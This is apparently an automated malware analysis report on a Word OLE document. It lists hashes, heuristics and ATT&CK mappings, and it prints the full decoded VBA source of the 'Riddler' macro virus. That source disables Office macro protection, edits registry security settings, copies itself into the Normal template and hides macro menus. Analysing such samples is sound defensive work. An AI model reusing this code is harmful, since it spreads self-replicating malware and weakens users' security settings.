Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5451268ad4651425…

MALICIOUS

Office (OLE)

32.2 KB Created: 2000-05-18 22:47:00 Authoring application: Microsoft Word 9.0 First seen: 2015-09-17
MD5: 481b7f14f5fd436235420eb6da1eebee SHA-1: 5802f281be8ba44a4f62ca278df00f506a22d004 SHA-256: 5451268ad4651425321a11b0869d6e74b4b37dd39518e9d79106b52530a201ab
258 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1553.005 Security Software Installation

The sample contains VBA macros that attempt to disable macro security features and replicate themselves to the Normal template by exporting to and importing from 'c:\Riddler.sys'. The script also attempts to tamper with registry settings related to Office security and system owner information. This behavior suggests an attempt to establish persistence and potentially spread.

Heuristics 7

  • ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Psycho-3
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
      sFileName = Environ("Windir")
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www1.tpgi.com.au/users/aali/riddles_galore.html In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3988 bytes
SHA-256: 953d3bedf29550fe9442dfb6e0aff9d61692749101131ff69988bdf1d1de78ea
Detection
ClamAV: Doc.Trojan.Fool-4
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Riddler"

Sub AutoOpen()
    'Riddler Virus v1.00
    'The WaLRuS 05/00
    On Error Resume Next
    Options.ConfirmConversions = False
    Options.VirusProtection = False
    Options.SaveNormalPrompt = False
    CommandBars("Macro").Controls("Security...").Enabled = False
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
    ActiveDocument.ReadOnlyRecommended = False
    System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion", "RegisteredOwner") = "The WaLRuS"
    Set Norm = NormalTemplate.VBProject.VBComponents
    Set Doc = ActiveDocument.VBProject.VBComponents
If Norm.Item("Riddler").Name <> "Riddler" Then
    Doc("Riddler").Export "c:\Riddler.sys"
    Set infect = NormalTemplate.VBProject
ElseIf Doc.Item("Riddler").Name <> "Riddler" Then
    Norm("Riddler").Export "c:\Riddler.sys"
    Set infect = ActiveDocument.VBProject
End If
infect.VBComponents.Import ("c:\Riddler.sys")
Kill ("c:\Riddler.sys")
ActiveDocument.Save
Call PayloadCounter
End Sub

Sub PayloadCounter()
On Error Resume Next
Dim sCounter As String
Dim sFileName As String

  sFileName = Environ("Windir")
  If Right(sFileName, 1) <> "\" Then
    sFileName = sFileName & "\"
  End If
  sFileName = sFileName & "WIN.INI"

  sCounter = System.PrivateProfileString(sFileName, "Riddler", "Counter")
  If Val(sCounter) <> "200" Then
    sCounter = Val(sCounter) + 1
    System.PrivateProfileString(sFileName, "Riddler", "Counter") = sCounter
  Else
    MsgBox "Hello there " & Application.UserName & vbCr & "I wont let you continue until you" & vbCr & "answer Me these riddles Three." & vbCr & vbCr & "Please enter in lower case only", 0, "Riddler"
    Call FirstRiddle
  End If
End Sub

Sub FirstRiddle()
On Error Resume Next
Riddle1 = InputBox("He has a look of awful scorn, " & vbCr & "And wears his clothes a funny way, " & vbCr & "Waving his hands over fields of corn, " & vbCr & "He keeps the birds away! ", "A Simple One To Start")
If Riddle1 = "scarecrow" Then
MsgBox "Correct", 0, "Correct, on to riddle 2"
Call SecondRiddle
Else: MsgBox "Oh Dear, Try again, Help can be found at http://www1.tpgi.com.au/users/aali/riddles_galore.html", 0, "Incorrect"
Call PayloadCounter
End If
End Sub

Sub SecondRiddle()
On Error Resume Next
Riddle2 = InputBox("The man who invented it, doesn't want it. " & vbCr & "The man who bought it, doesn't need it. " & vbCr & "The man who needs it, doesn't know it. ", "Getting Harder")
If Riddle2 = "coffin" Then
MsgBox "Correct, Just 1 more riddle", 0, "Correct"
Call ThirdRiddle
Else: MsgBox "Oh Dear, Start again", 0, "Incorrect"
Call PayloadCounter
End If
End Sub

Sub ThirdRiddle()
On Error Resume Next
Riddle3 = InputBox("What goes around the world but stays in a corner? ", "Even Harder")
If Riddle3 = "stamp" Then
MsgBox "Very Good 3 out of 3" & vbCr & "You may continue", 0, "Correct"

Dim sCounter As String
Dim sFileName As String

  sFileName = Environ("Windir")
  If Right(sFileName, 1) <> "\" Then
    sFileName = sFileName & "\"
  End If
  sFileName = sFileName & "WIN.INI"

  sCounter = System.PrivateProfileString(sFileName, "Riddler", "Counter")
    sCounter = Val(sCounter) + 1
    System.PrivateProfileString(sFileName, "Riddler", "Counter") = sCounter
Else: MsgBox "Oh You were so close. Start again ;-)", 0, "Incorrect"
Call PayloadCounter
End If
End Sub

Sub HelpAbout()
    MsgBox "Riddler by The WaLRuS", 0, "The Shadow Knows..."
End Sub

' basic stealth
Sub ToolsMacro()
End Sub
Sub FileTemplates()
End Sub
Sub ViewVBCode()
End Sub